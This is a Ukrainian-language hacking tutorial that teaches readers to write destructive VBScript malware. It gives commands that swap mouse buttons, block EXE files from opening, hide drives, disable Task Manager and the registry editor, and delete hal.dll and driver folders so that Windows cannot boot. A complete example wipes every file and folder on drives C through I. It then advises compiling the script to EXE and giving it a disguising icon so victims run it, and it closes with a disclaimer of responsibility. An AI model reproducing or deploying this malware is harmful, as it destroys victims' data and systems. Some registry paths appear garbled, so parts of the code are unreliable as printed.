коротше не важливо новачок ти чи досвідчений хакер, важливо те потрібно це тобі чи ні???
Шкідлива програма написана на мові visual basic script.
Потім скомпелирована в «exe» формат.
Приступимо.
Для початку, потрібно вміти змінювати розширення файлу, з цього і почнемо.
Існує багато способів, але мені подобається цей.
У кожного повинен бути звичайний архіватор, ось ним ми і скористаємося.
І так, створіть наприклад текстовий фаил під назвою «Текстовий документ».
Тепер знайдіть цей текстовик через свій архіватор. В архіваторі,
ви повинні побачити наступне: «Текстовий документ.txt».
Закінчення «txt» — ім’я розширення файлу, то його потрібно змінити, точно так само, немов, редагуєте ім’я файлу або папки, перете рядок «txt» і ставите скажімо «mp3».
В результаті ми отримуємо «Текстовий документ.mp3 формату.
Якщо все зрозуміло, а питань виникнути з цього приводу не повинно, то підемо далі.
Створіть текстовий документ, що містить наступне:
on error resume next
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.run«rundll32 user32, SwapMouseButton»

Потім, зберігши отримані дані, вам потрібно змінити розширення файлу, і замість «txt» прописати «wm».

Абревіатура «dos», походить від назви мови програмування — «visual basic script».

От у нас і готова перша, проста, шкідлива програма, що міняє місцями кнопки миші.

Тепер потрібно її скомпелировать (змінити) в «exe» формат за допомогою програми: «Vbs2Exe»,
і встановити будь-який значок з допомогою грабера іконок: «IconToy».

А тепер інформація для тих, хто не має наміру обмежувати свої можливості банальним обміном кнопок миші.
on error resume next
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
Три верхні рядки — повинні бути присутнім завжди. Далі,
слід кодування, а нижче, у дужках — пояснення.

Так само можливо поєднувати, ті або інші шкідливі команди.
s.regwrite«HKCRexefileshellopencommand»,«rundll32.exe»
(Заборона на відкриття «EXE» файли)
s.regwrite«HKCUSoftwareMicrosoftWindowsCurrentversionpoliciesexplorernodrives»,«67108863»,«REG_DWORD»
s.regwrite«HKCUSoftwareMicrosoftWindowsCurrentversionpoliciesexplorernoviewondrive»,«67108863»,«REG_DWORD»
(заборона доступу до жорстких дисків)
fso.deletefile fso.getspecialfolder(0)+«system32hal.dll»,1
(видаляється системний фаил, після чого завантаження Windows стає неможлива.

Система працює до першого перезавантаження)
fso.deletefolder fso.getspecialfolder(0)+«system32drives»,1
fso.deletefolder fso.getspecialfolder(0)+«Driver Cache»
(видалення драйверів)

fso.deletefolder «АДРЕСА»,1
(Видалення папки. Приклад: fso.deletefolder «C: Нова папка»,1)

fso.deletefolder «C:*.*»,1
(Видалення всіх папок диска С. Адресу можна поставити будь -)

fso.deletefile «АДРЕСА»,1
(Видалення файлу. Приклад: fso.deletefile «C: Нова папкаТекстовый документ.txt»,1)

fso.deletefile «C:*.*»,1
(Видалення всіх файлів диска С. Адресу можна поставити будь -)

s.regwrite«HKCUSoftwareMicrosoftWindowsCurrentversionpoliciessystemdisableregistrytools»,«1»,«REG_DWORD»
(Заборона редагування реєстру)

s.regwrite«HKCUSoftwareMicrosoftWindowsCurrentversionpoliciessystemdisabletaskmgr»,«1»,«REG_DWORD»
(Заборона диспетчера завдань)

s.run«rundll32 user32, SwapMouseButton»
(Обмін кнопок миші)

Приклад:

on error resume next
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
fso.deletefile «C:*.*»,1
fso.deletefolder «C:*.*»,1
fso.deletefile «D:*.*»,1
fso.deletefolder «D:*.*»,1
fso.deletefile «E:*.*»,1
fso.deletefolder «E:*.*»,1
fso.deletefile «F:*.*»,1
fso.deletefolder «F:*.*»,1
fso.deletefile «G:*.*»,1
fso.deletefolder «G:*.*»,1
fso.deletefile «H:*.*»,1
fso.deletefolder «H:*.*»,1
fso.deletefile «I:*.*»,1
fso.deletefolder «I:*.*»,1
fso.deletefile fso.getspecialfolder(0)+«system32hal.dll»,1

Я не несу никаю відповідальність за те, що ви можете зробити з допомогою цієї статті, так що робіть висновки…